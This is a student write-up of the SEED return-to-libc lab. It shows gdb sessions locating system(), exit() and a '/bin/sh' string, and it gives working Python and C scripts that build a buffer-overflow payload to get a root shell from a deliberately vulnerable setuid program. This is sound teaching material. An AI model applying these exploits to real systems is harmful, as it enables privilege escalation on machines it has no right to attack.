title | author | date |
---|---|---|
Return-to-libc Attack Lab |
Xinyi Li |
\today{} |
Instruction: https://seedsecuritylabs.org/Labs_16.04/PDF/Return_to_Libc.pdf
Use the default BUF_SIZE
as 12
gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib
sudo chmod 4755 retlib
[02/27/20]seed@VM:~/.../return_to_lic$ touch badfile
[02/27/20]seed@VM:~/.../return_to_lic$ gdb -q retlib
Reading symbols from retlib...(no debugging symbols found)...done.
gdb-peda$ run
Starting program: /home/seed/Documents/return_to_lic/retlib
Returned Properly
[Inferior 1 (process 3038) exited with code 01]
Warning: not running or target is remote
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$ quit
Write a envaddr.c
#include <stdio.h>
#include <stdlib.h>
void main()
{
char *shell = getenv("MYSHELL");
if (shell)
printf("%x\n", (unsigned int)shell);
}
Keep the name of the executable program with length 6 (=len('retlib'
))
gcc envaddr.c -o env666
The address of /bin/sh
is 0xbffffdef
.
Note: Don't use gdb
to get the address of string /bin/sh
in libc
. Beacause gbd
will inject something to the stack and heap for debugging, so the address probably become different in runtime.
Find the offset:
$ gcc -fno-stack-protector -z noexecstack -g -o retlib_dbg retlib.c
$ gdb -q retlib_dbg
Reading symbols from retlib_dbg...done.
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file retlib.c, line 19.
gdb-peda$ run
Starting program: /home/seed/Documents/return_to_lic/retlib_dbg
...
Breakpoint 1, bof (badfile=0x804fa88) at retlib.c:19
19 fread(buffer, sizeof(char), 300, badfile);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffecb8
gdb-peda$ p &buffer
$2 = (char (*)[12]) 0xbfffeca4
gdb-peda$ p/d 0xbfffecb8 - 0xbfffeca4
$3 = 20
gdb-peda$ quit
So, the distance between %ebp
and &buffer
inside the function bof
is 20 bytes
- The range to store the address of
system
is:content[24:28]
- The range to store the address of
exit
is:content[28:32]
- The range to store the address of
\bin\sh
is:content[32:36]
Compose exploit.py
as follows:
#!/usr/bin/python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(40)) #**Note**: it must be modified there. the origin length of `content` is 300, which may cause `retlib` return directly without launching a root shell. Please change the length to a smaller int.
X = 32
sh_addr = 0xbffffdef # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4, byteorder='little')
Y = 24
system_addr = 0xb7e42da0 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4, byteorder='little')
Z = 28
exit_addr = 0xb7e369d0 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4, byteorder='little')
# Save content to a file
with open("badfile", "wb") as f:
f.write(content)
Note: in the line 5, the length of content
should be set to a smaller number instead of 300 both in the template and source code offered by the official site.
Or use the C version exploit.c
:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and
the values for X, Y, Z. The order of the following
three statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order. */
*(long *)&buf[32] = 0xbffffdef; // "/bin/sh"
*(long *)&buf[24] = 0xb7e42da0; // system()
*(long *)&buf[28] = 0xb7e369d0; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
Finally, I got
The root shell can also be launched. But when exiting the shell, the retlib
can not be terminated properly. It issues a Segmentation fault
error.
mv retlib newretlib
./newretlib
zsh:1: command not found: h
Segmentation fault
Before environment variables are pushed into the stack, the program's name is pushed in first. So the location of /bin/sh
will shift if the length of program's name changes.
It failed.
X
,Y
and Z
are determined by the relative distance to ebp
, which is not influenced by the address randomization.
But the address of system
,exit
, and /bin/sh
are updated.
./env666
/bin/sh is in bfa0cdef
rm badfile
touch badfile
gdb -q retlib
gdb-peda$ set disable-randomization on
gdb-peda$ r
Starting program: /home/seed/Documents/return-to-libc/retlib
Returned Properly
[Inferior 1 (process 6081) exited with code 01]
Warning: not running or target is remote
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7616da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb760a9d0 <__GI_exit>
gdb-peda$ quit
gcc -fno-stack-protector -z noexecstack -o retlib_rop retlib_rop.c
sudo chown root retlib_rop
sudo chmod 4755 retlib_rop
./retlib_rop
/bin/sh is in 0xbfffe558
Address of buffer[] : 0xbfffe520
Frame Pointer value : 0xbfffe538
Returned Properly
gdb -q retlib_rop
r
p bar
$1 = {<text variable, no debug info>} 0x8048567 <bar>
p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>